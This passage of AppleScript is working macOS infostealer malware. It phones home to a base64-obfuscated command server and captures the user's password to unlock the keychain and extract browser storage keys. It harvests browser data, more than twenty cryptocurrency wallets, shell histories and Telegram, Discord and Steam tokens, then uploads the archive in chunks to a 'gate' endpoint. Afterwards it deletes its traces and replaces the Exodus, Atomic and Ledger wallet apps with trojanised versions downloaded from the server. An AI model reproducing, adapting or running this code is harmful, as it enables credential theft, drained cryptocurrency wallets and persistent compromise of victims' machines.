readwrite(steamConfig & "config.vdf", steamSave & "config.vdf")
on error errMsg
debugLog("SteamTokens: config.vdf FAIL | " & errMsg)
end try
try
set ssfnFiles to do shell script "find " & quoted form of steamBase & " -maxdepth 1 -name 'ssfn*' -type f 2>/dev/null"
if ssfnFiles is not "" then
set ssfnList to paragraphs of ssfnFiles
repeat with ssfnFile in ssfnList
try
set ssfnName to do shell script "basename " & quoted form of ssfnFile
readwrite(ssfnFile as string, steamSave & ssfnName)
debugLog("SteamTokens: grabbed " & ssfnName)
on error errMsg
debugLog("SteamTokens: ssfn FAIL | " & errMsg)
end try
end repeat
end if
on error errMsg
debugLog("SteamTokens: ssfn search FAIL | " & errMsg)
end try
debugLog("SteamTokens: done")
else
debugLog("SteamTokens: Steam folder NOT found")
end if
on error errMsg
debugLog("SteamTokens: FAIL | " & errMsg)
end try
end SteamTokens
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/shub_" & randomNumber & "/"
set library to profile & "/Library/Application Support/"
mkdir(writemind)
debugLog("=== SCRIPT START ===")
debugLog("Username: " & username)
debugLog("Profile: " & profile)
debugLog("Writemind: " & writemind)
set localeInfo to ""
try
set localeInfo to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i KeyboardLayout | head -3 | sed 's/[^a-zA-Z0-9 ,=]//g' | tr -s ' ' | paste -sd, - || echo unknown"
end try
set hostName to ""
try
set hostName to do shell script "hostname"
end try
set osVersion to ""
try
set osVersion to do shell script "sw_vers -productVersion"
end try
set isCIS to "false"
try
set cisCheck to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -ci russian || echo 0"
if cisCheck is not equal to "0" then
set isCIS to "true"
end if
end try
set externalIP to "Unknown"
try
set externalIP to do shell script "curl -s --max-time 5 $(echo 'aHR0cHM6Ly9hcGkuaXBpZnkub3Jn' | base64 -d) || curl -s --max-time 5 $(echo 'aHR0cHM6Ly9pY2FuaGF6aXAuY29t' | base64 -d) || echo 'Unknown'"
end try
debugLog("Hostname: " & hostName)
debugLog("OS: " & osVersion)
debugLog("CIS: " & isCIS)
debugLog("IP: " & externalIP)
debugLog("Locale: " & localeInfo)
set debugEventUrl to do shell script "echo 'aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vYXBpL2RlYnVnL2V2ZW50' | base64 -d"
set buildHash to "8a831ddb6df452c75fa06610aaf6e895"
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "payload_started" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "hostname" & quote & ":" & quote & hostName & quote & "," & quote & "os_version" & quote & ":" & quote & osVersion & quote & "," & quote & "username" & quote & ":" & quote & username & quote & "," & quote & "is_cis" & quote & ":" & quote & isCIS & quote & "," & quote & "locale" & quote & ":" & quote & localeInfo & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
set password_entered to getpwd(username, writemind, "")
if password_entered is equal to "__INVALID__" then
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "password_failed" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
else
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "password_obtained" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "has_password" & quote & ":" & quote & "true" & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
end if
debugLog("Password result: " & password_entered)
delay 0.01
set needsChromeKey to false
try
set majorVer to do shell script "sw_vers -productVersion | cut -d. -f1"
set minorVer to do shell script "sw_vers -productVersion | cut -d. -f2"
if (majorVer as integer) > 26 or ((majorVer as integer) = 26 and (minorVer as integer) >= 4) then
set needsChromeKey to true
end if
end try
if needsChromeKey and password_entered is not equal to "__INVALID__" and password_entered is not equal to "" then
try
do shell script "security unlock-keychain -p " & quoted form of password_entered & " ~/Library/Keychains/login.keychain-db"
set chromeKey to do shell script "security find-generic-password -ga 'Chrome' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(chromeKey, writemind & "masterpass-chrome")
debugLog("Chrome Safe Storage key extracted (macOS >= 26.4)")
on error errMsg
debugLog("Chrome Safe Storage: failed - " & errMsg)
end try
try
set braveKey to do shell script "security find-generic-password -ga 'Brave' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(braveKey, writemind & "masterpass-brave")
debugLog("Brave Safe Storage key extracted (macOS >= 26.4)")
on error errMsg2
debugLog("Brave Safe Storage: not found or failed")
end try
try
set edgeKey to do shell script "security find-generic-password -ga 'Microsoft Edge' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(edgeKey, writemind & "masterpass-edge")
debugLog("Edge Safe Storage key extracted (macOS >= 26.4)")
on error errMsg3
debugLog("Edge Safe Storage: not found or failed")
end try
else if needsChromeKey then
debugLog("SafeStorage: skipped (no valid password for macOS >= 26.4)")
else
debugLog("SafeStorage: skipped (macOS < 26.4, server decryption)")
end if
set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Orion", library & "Orion/"}}
set chromiumMap to chromiumMap & {{"Sidekick", library & "Sidekick/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
set geckoMap to {}
set geckoMap to geckoMap & {{"Firefox", library & "Firefox/Profiles/"}}
set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "atomic/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi", library & "Coinomi/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Armory", library & "Armory/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero", profile & "/.bitmonero/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}
set walletMap to walletMap & {{"Wallets/Desktop/Daedalus", library & "Daedalus Mainnet/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Anchor", library & "anchor/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Jaxx", library & "com.liberty.jaxx/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero_GUI", profile & "/Monero/wallets/"}}
readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")
writeText(username, writemind & "Username")
debugLog("Writing info file + system_profiler...")
writeText("Meow (DEBUG)" & return, writemind & "info")
writeText("Build Tag: f7" & return, writemind & "info")
writeText("External IP: " & externalIP & return & return, writemind & "info")
writeText("System Info" & return, writemind & "info")
writeText("Username: " & username & return, writemind & "info")
writeText("Password: " & password_entered & return & return, writemind & "info")
writeText("Hostname: " & hostName & return, writemind & "info")
writeText("OS Version: " & osVersion & return, writemind & "info")
writeText("Is CIS: " & isCIS & return, writemind & "info")
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "collecting_browsers" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 3 2>/dev/null &"
do shell script shellCmd
end try
debugLog("--- COLLECTING BROWSERS ---")
Chromium(writemind, chromiumMap)
debugLog("Chromium() done")
ChromiumWallets(writemind, chromiumMap)
debugLog("ChromiumWallets() done")
Gecko(writemind, geckoMap)
debugLog("Gecko() done")
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "collecting_wallets" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 3 2>/dev/null &"
do shell script shellCmd
end try
debugLog("--- COLLECTING WALLETS ---")
DesktopWallets(writemind, walletMap)
debugLog("DesktopWallets() done")
Telegram(writemind, library)
debugLog("Telegram() done")
Keychains(writemind)
debugLog("Keychains() done")
CloudKeys(writemind & "Profile/")
debugLog("CloudKeys() done")
Filegrabber(writemind, profile)
debugLog("Filegrabber() done")
DiscordTokens(writemind, library)
debugLog("DiscordTokens() done")
SteamTokens(writemind, library)
debugLog("SteamTokens() done")
set collectedInfo to ""
try
set collectedInfo to do shell script "cd " & quoted form of writemind & " && echo 'browsers:' $(ls -d Browsers/*/ 2>/dev/null | wc -l | tr -d ' ') 'wallets:' $(( $(find Wallets/Browser Wallets/Web -mindepth 2 -maxdepth 2 -type d 2>/dev/null | wc -l) + $(find Wallets/Desktop -mindepth 1 -maxdepth 1 -type d 2>/dev/null | wc -l) )) 'extensions:' $(ls -d Extensions/*/ 2>/dev/null | wc -l | tr -d ' ') 'keychains:' $(ls Keychains/ 2>/dev/null | wc -l | tr -d ' ') 'telegram:' $(ls Telegram/ 2>/dev/null | wc -l | tr -d ' ') 'discord:' $(ls -d Discord/*/ 2>/dev/null | wc -l | tr -d ' ') 'steam:' $(ls Steam/ 2>/dev/null | wc -l | tr -d ' ')"
end try
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "data_collected" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "collected" & quote & ":" & quote & collectedInfo & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
debugLog("Collected: " & collectedInfo)
debugLog("--- CREATING ZIP ---")
set archivePath to "/tmp/shub_log.zip"
try
do shell script "ditto -c -k --sequesterRsrc " & quoted form of writemind & " " & quoted form of archivePath
debugLog("ZIP created OK")
on error errMsg
debugLog("ZIP error: " & errMsg)
end try
set archiveSize to "0"
try
set archiveSize to do shell script "stat -f%z " & quoted form of archivePath & " 2>/dev/null || echo 0"
end try
debugLog("Archive size: " & archiveSize & " bytes")
set gateUrl to do shell script "echo 'aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZ2F0ZQ==' | base64 -d"
set apiKey to "15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6"
set buildId to "948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236"
set buildName to "f7"
set buildHash to "8a831ddb6df452c75fa06610aaf6e895"
set hasValidPassword to "0"
if password_entered is not equal to "__INVALID__" then
set hasValidPassword to "1"
end if
set passwordToSend to ""
if password_entered is not equal to "__INVALID__" then
set passwordToSend to password_entered
end if
debugLog("--- UPLOADING TO GATE ---")
debugLog("Gate URL: " & gateUrl)
set uploadOK to false
set folderSizeNum to 0
try
set folderSizeNum to (do shell script "du -sk " & quoted form of writemind & " | awk '{print $1}'") as integer
set folderSizeNum to folderSizeNum * 1024
end try
debugLog("Folder size: " & folderSizeNum & " bytes")
set chunkThreshold to 85000000
if folderSizeNum < chunkThreshold then
debugLog("Small folder (" & folderSizeNum & " bytes), single upload")
try
set curlResult to do shell script "curl -s -w '
%{http_code}' --max-time 300 --retry 3 --retry-delay 5 -X POST " & quoted form of gateUrl & " -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36' -F 'file=@" & archivePath & "' -F 'key=" & apiKey & "' -F 'password=" & passwordToSend & "' -F 'buildtxd=" & buildId & "' -F 'has_valid_password=" & hasValidPassword & "' -F 'build_hash=" & buildHash & "'"
set httpCode to last paragraph of curlResult
debugLog("Upload HTTP code: " & httpCode)
if httpCode starts with "2" then
debugLog("Upload complete OK")
set uploadOK to true
else
debugLog("Upload failed with HTTP " & httpCode)
end if
on error errMsg
debugLog("Upload error: " & errMsg)
try
set errCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "upload_error" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "error" & quote & ":" & quote & errMsg & quote & "}' --max-time 5 2>/dev/null &"
do shell script errCmd
end try
end try
else
debugLog("Large folder (" & folderSizeNum & " bytes), using multi-zip chunked upload")
set chunkUrl to gateUrl & "/chunk"
debugLog("Chunk URL: " & chunkUrl)
try
do shell script "rm -rf /tmp/shub_mzip_*"
set lf to (ASCII character 10)
set splitScript to "#!/bin/bash" & lf & "SRC=$1" & lf & "MAX_BYTES=70000000" & lf & "CHUNK_IDX=0" & lf & "CUR_SIZE=0" & lf & "CUR_LIST=()" & lf & "flush_bin() {" & lf & " if [ ${#CUR_LIST[@]} -eq 0 ]; then return; fi" & lf & " ZIPNAME=\"/tmp/shub_mzip_$(printf '%04d' $CHUNK_IDX).zip\"" & lf & " TMPBIN=\"/tmp/shub_mzip_bin_${CHUNK_IDX}\"" & lf & " rm -rf \"$TMPBIN\"" & lf & " mkdir -p \"$TMPBIN\"" & lf & " for BI in \"${CUR_LIST[@]}\"; do" & lf & " PARENT=$(dirname \"$BI\")" & lf & " mkdir -p \"$TMPBIN/$PARENT\"" & lf & " cp -a \"$SRC/$BI\" \"$TMPBIN/$BI\"" & lf & " done" & lf & " ditto -c -k --sequesterRsrc \"$TMPBIN\" \"$ZIPNAME\" 2>/dev/null || (cd \"$TMPBIN\" && zip -r -q \"$ZIPNAME\" . 2>/dev/null)" & lf & " rm -rf \"$TMPBIN\"" & lf & " CHUNK_IDX=$((CHUNK_IDX + 1))" & lf & " CUR_SIZE=0" & lf & " CUR_LIST=()" & lf & "}" & lf & "add_item() {" & lf & " local REL_PATH=\"$1\"" & lf & " local ITEM_SIZE=\"$2\"" & lf & " if [ $((CUR_SIZE + ITEM_SIZE)) -gt $MAX_BYTES ] && [ ${#CUR_LIST[@]} -gt 0 ]; then" & lf & " flush_bin" & lf & " fi" & lf & " CUR_LIST+=(\"$REL_PATH\")" & lf & " CUR_SIZE=$((CUR_SIZE + ITEM_SIZE))" & lf & "}" & lf & "process_dir() {" & lf & " local DIR_REL=\"$1\"" & lf & " local DIR_ABS=\"$SRC\"" & lf & " if [ -n \"$DIR_REL\" ]; then" & lf & " DIR_ABS=\"$SRC/$DIR_REL\"" & lf & " fi" & lf & " for ITEM in \"$DIR_ABS\"/*; do" & lf & " [ ! -e \"$ITEM\" ] && continue" & lf & " BASENAME=$(basename \"$ITEM\")" & lf & " if [ -n \"$DIR_REL\" ]; then" & lf & " REL=\"$DIR_REL/$BASENAME\"" & lf & " else" & lf & " REL=\"$BASENAME\"" & lf & " fi" & lf & " if [ -f \"$ITEM\" ]; then" & lf & " FSIZE=$(stat -f%z \"$ITEM\" 2>/dev/null || echo 0)" & lf & " add_item \"$REL\" \"$FSIZE\"" & lf & " elif [ -d \"$ITEM\" ]; then" & lf & " DSIZE=$(du -sk \"$ITEM\" 2>/dev/null | awk '{print $1}')" & lf & " DSIZE=$((DSIZE * 1024))" & lf & " if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & " add_item \"$REL\" \"$DSIZE\"" & lf & " else" & lf & " process_dir \"$REL\"" & lf & " fi" & lf & " fi" & lf & " done" & lf & "}" & lf & "PRIORITY=(Wallets KeyChains Browsers Telegram Safari Notes Profile)" & lf & "DONE=()" & lf & "for PD in \"${PRIORITY[@]}\"; do" & lf & " if [ -e \"$SRC/$PD\" ]; then" & lf & " if [ -d \"$SRC/$PD\" ]; then" & lf & " DSIZE=$(du -sk \"$SRC/$PD\" 2>/dev/null | awk '{print $1}')" & lf & " DSIZE=$((DSIZE * 1024))" & lf & " if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & " add_item \"$PD\" \"$DSIZE\"" & lf & " else" & lf & " process_dir \"$PD\"" & lf & " fi" & lf & " else" & lf & " FSIZE=$(stat -f%z \"$SRC/$PD\" 2>/dev/null || echo 0)" & lf & " add_item \"$PD\" \"$FSIZE\"" & lf & " fi" & lf & " DONE+=(\"$PD\")" & lf & " fi" & lf & "done" & lf & "flush_bin" & lf & "for ITEM in \"$SRC\"/*; do" & lf & " [ ! -e \"$ITEM\" ] && continue" & lf & " BASENAME=$(basename \"$ITEM\")" & lf & " SKIP=0" & lf & " for D in \"${DONE[@]}\"; do" & lf & " if [ \"$BASENAME\" = \"$D\" ]; then SKIP=1; break; fi" & lf & " done" & lf & " [ $SKIP -eq 1 ] && continue" & lf & " if [ -f \"$ITEM\" ]; then" & lf & " FSIZE=$(stat -f%z \"$ITEM\" 2>/dev/null || echo 0)" & lf & " add_item \"$BASENAME\" \"$FSIZE\"" & lf & " elif [ -d \"$ITEM\" ]; then" & lf & " DSIZE=$(du -sk \"$ITEM\" 2>/dev/null | awk '{print $1}')" & lf & " DSIZE=$((DSIZE * 1024))" & lf & " if [ $DSIZE -lt $MAX_BYTES ]; then" & lf & " add_item \"$BASENAME\" \"$DSIZE\"" & lf & " else" & lf & " process_dir \"$BASENAME\"" & lf & " fi" & lf & " fi" & lf & "done" & lf & "flush_bin"
do shell script "printf '%s' " & quoted form of splitScript & " > /tmp/shub_split.sh && chmod +x /tmp/shub_split.sh && /bin/bash /tmp/shub_split.sh " & quoted form of writemind & " && rm -f /tmp/shub_split.sh"
set chunkSession to do shell script "uuidgen | tr -d '-' | tr '[:upper:]' '[:lower:]'"
set totalChunks to do shell script "ls -1 /tmp/shub_mzip_*.zip 2>/dev/null | wc -l | tr -d ' '"
debugLog("Created " & totalChunks & " independent ZIP archives, session: " & chunkSession)
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "chunked_upload_start" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "total_chunks" & quote & ":" & quote & totalChunks & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
set chunkIndex to 0
set chunkList to do shell script "ls -1 /tmp/shub_mzip_*.zip 2>/dev/null | sort"
set allChunksOK to true
repeat with chunkLine in paragraphs of chunkList
set chunkFile to chunkLine as text
if chunkFile is not "" then
debugLog("Uploading chunk " & (chunkIndex + 1) & "/" & totalChunks & ": " & chunkFile)
try
set curlResult to do shell script "curl -s -w '
%{http_code}' --max-time 120 --retry 3 --retry-delay 5 --retry-all-errors -X POST " & quoted form of chunkUrl & " -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36' -F 'file=@" & chunkFile & "' -F 'chunk_session=" & chunkSession & "' -F 'chunk_num=" & chunkIndex & "' -F 'total_chunks=" & totalChunks & "' -F 'key=" & apiKey & "' -F 'password=" & passwordToSend & "' -F 'buildtxd=" & buildId & "' -F 'has_valid_password=" & hasValidPassword & "' -F 'build_hash=" & buildHash & "'"
set httpCode to last paragraph of curlResult
debugLog("Chunk " & (chunkIndex + 1) & " HTTP code: " & httpCode)
if httpCode does not start with "2" then
debugLog("Chunk " & (chunkIndex + 1) & " failed with HTTP " & httpCode)
set allChunksOK to false
end if
on error errMsg
debugLog("Chunk " & (chunkIndex + 1) & " error: " & errMsg)
set allChunksOK to false
end try
set chunkIndex to chunkIndex + 1
end if
end repeat
if allChunksOK then
debugLog("All " & totalChunks & " chunks uploaded OK")
set uploadOK to true
else
debugLog("Some chunks failed, but independent ZIPs sent: " & chunkIndex & "/" & totalChunks)
if chunkIndex > 0 then set uploadOK to true
end if
do shell script "rm -f /tmp/shub_mzip_*.zip"
on error errMsg
debugLog("Multi-zip upload error: " & errMsg)
try
set errCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "chunked_upload_error" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "error" & quote & ":" & quote & errMsg & quote & "}' --max-time 5 2>/dev/null &"
do shell script errCmd
end try
end try
end if
if uploadOK then
try
set isChunked to "false"
if folderSizeNum is greater than or equal to chunkThreshold then set isChunked to "true"
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "zip_sent" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "archive_size" & quote & ":" & quote & archiveSize & quote & "," & quote & "has_password" & quote & ":" & quote & hasValidPassword & quote & "," & quote & "chunked" & quote & ":" & quote & isChunked & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
end if
try
do shell script "rm -f " & quoted form of archivePath
do shell script "rm -f /tmp/shub_chunk_*"
do shell script "rm -f /tmp/shub_mzip_*.zip"
do shell script "rm -rf /tmp/shub_*"
end try
debugLog("--- WALLET INJECTION ---")
set exodusPath to "/Applications/Exodus.app"
if (do shell script "test -d " & quoted form of exodusPath & " && echo 1 || echo 0") is "1" then
debugLog("Exodus FOUND at " & exodusPath & ", injecting...")
try
set asarUrl to gateUrl & "/exodus-asar"
set tempZip to "/tmp/exodus_asar.zip"
set tempAsar to "/tmp/app.asar"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 Exodus 2>/dev/null || true"
delay 1
set exodusResources to "/Applications/Exodus.app/Contents/Resources"
set targetAsar to exodusResources & "/app.asar"
do shell script "cp -rf " & quoted form of exodusPath & " /tmp/Exodus_tmp.app"
do shell script "rm -rf " & quoted form of exodusPath
do shell script "mv /tmp/Exodus_tmp.app " & quoted form of exodusPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
do shell script "xattr -cr " & quoted form of exodusPath
do shell script "codesign -f -d -s - " & quoted form of exodusPath
debugLog("Exodus: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Exodus: injection FAIL | " & errMsg)
end try
end if
set atomicPath to "/Applications/Atomic Wallet.app"
if (do shell script "test -d " & quoted form of atomicPath & " && echo 1 || echo 0") is "1" then
debugLog("Atomic Wallet FOUND at " & atomicPath & ", injecting...")
try
set asarUrl to gateUrl & "/atomic-asar"
set tempZip to "/tmp/atomic_asar.zip"
set tempAsar to "/tmp/app.asar"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Atomic Wallet' 2>/dev/null || true"
delay 1
set atomicResources to "/Applications/Atomic Wallet.app/Contents/Resources"
set targetAsar to atomicResources & "/app.asar"
do shell script "cp -rf " & quoted form of atomicPath & " /tmp/Atomic_tmp.app"
do shell script "rm -rf " & quoted form of atomicPath
do shell script "mv /tmp/Atomic_tmp.app " & quoted form of atomicPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
do shell script "xattr -cr " & quoted form of atomicPath
do shell script "codesign -f -d -s - " & quoted form of atomicPath
debugLog("Atomic: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Atomic: injection FAIL | " & errMsg)
end try
end if
set ledgerPath to "/Applications/Ledger Wallet.app"
if (do shell script "test -d " & quoted form of ledgerPath & " && echo 1 || echo 0") is "1" then
debugLog("Ledger Wallet FOUND at " & ledgerPath & ", injecting...")
try
set asarUrl to gateUrl & "/ledger-asar"
set tempZip to "/tmp/ledger_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Ledger Wallet' 2>/dev/null || true"
delay 1
set ledgerResources to "/Applications/Ledger Wallet.app/Contents/Resources"
set targetAsar to ledgerResources & "/app.asar"
set targetPlist to "/Applications/Ledger Wallet.app/Contents/Info.plist"
do shell script "cp -rf " & quoted form of ledgerPath & " /tmp/Ledger_tmp.app"
do shell script "rm -rf " & quoted form of ledgerPath
do shell script "mv /tmp/Ledger_tmp.app " & quoted form of ledgerPath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
do shell script "xattr -cr " & quoted form of ledgerPath
do shell script "codesign -f -d -s - " & quoted form of ledgerPath
debugLog("Ledger Wallet: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
debugLog("Ledger Wallet: injection FAIL | " & errMsg)
end try
end if
set ledgerLivePath to "/Applications/Ledger Live.app"
if (do shell script "test -d " & quoted form of ledgerLivePath & " && echo 1 || echo 0") is "1" then
debugLog("Ledger Live FOUND at " & ledgerLivePath & ", injecting...")
try
set asarUrl to gateUrl & "/ledgerlive-asar"
set tempZip to "/tmp/ledger_live_asar.zip"
set tempAsar to "/tmp/app.asar"
set tempPlist to "/tmp/Info.plist"
do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
if (do shell script "test -f " & quoted form of tempAsar & " && echo 1 || echo 0") is "1" then
do shell script "pkill -9 'Ledger Live' 2>/dev/null || true"
delay 1
set ledgerLiveResources to "/Applications/Ledger Live.app/Contents/Resources"
set targetAsar to ledgerLiveResources & "/app.asar"
set targetPlist to "/Applications/Ledger Live.app/Contents/Info.plist"
do shell script "cp -rf " & quoted form of ledgerLivePath & " /tmp/LedgerLive_tmp.app"
do shell script "rm -rf " & quoted form of ledgerLivePath
do shell script "mv /tmp/LedgerLive_tmp.app " & quoted form of ledgerLivePath
do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
if (do shell script "test -f " & quoted form of tempPlist & " && echo 1 || echo 0") is "1" then
do shell script "mv " & quoted form of tempPlist & " " & quoted form of targetPlist
end if
do shell script "xattr -cr " & quoted form of ledgerLivePath
do shell script "codesign -f -d -s - " & quoted form of ledgerLivePath
debugLog("Ledger Live: injection OK")
end if
do shell script "rm -f " & quoted form of tempZip
on error errMsg
